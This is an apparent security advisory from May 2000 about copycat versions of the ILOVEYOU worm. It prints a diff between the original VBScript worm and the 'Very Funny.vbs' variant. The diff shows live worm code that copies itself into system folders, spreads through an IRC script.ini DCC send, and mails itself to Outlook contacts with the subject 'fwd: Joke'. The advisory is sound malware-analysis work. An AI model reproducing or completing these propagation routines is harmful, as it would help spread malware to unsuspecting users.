Following the ILOVEYOU worm unleashed on 2000/05/04, copycat worms began to be noticed on 2000/05/05. The first copycat brought to my attention contains a subject header of "Subject: fwd: Joke" and an attachment named "Very Funny.vbs". The code differs very little from the original ILOVEYOU worm, (see below). In other words, there is no real difference between the copycats and the original. People should simply be careful. --- love_letter.vbs Thu May 4 12:28:27 2000 +++ very_funny.vbs Fri May 5 12:10:07 2000 @@ -22,7 +22,7 @@ Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") -c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") +c.Copy(dirsystem&"\Very Funny.vbs") regruns() html() spreadtoemail() @@ -115,7 +115,7 @@ scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" -scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" +scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\Very Funny.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec @@ -182,9 +182,9 @@ if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) -male.Subject = "ILOVEYOU" -male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." -male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") +male.Subject = "fwd: Joke" +male.Body = vbcrlf&"" +male.Attachments.Add(dirsystem&"\Very Funny.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if @@ -263,9 +263,9 @@ lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next -set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") +set b=fso.CreateTextFile(dirsystem+"\Very Funny.HTM") b.close -set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) +set d=fso.OpenTextFile(dirsystem+"\Very Funny.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf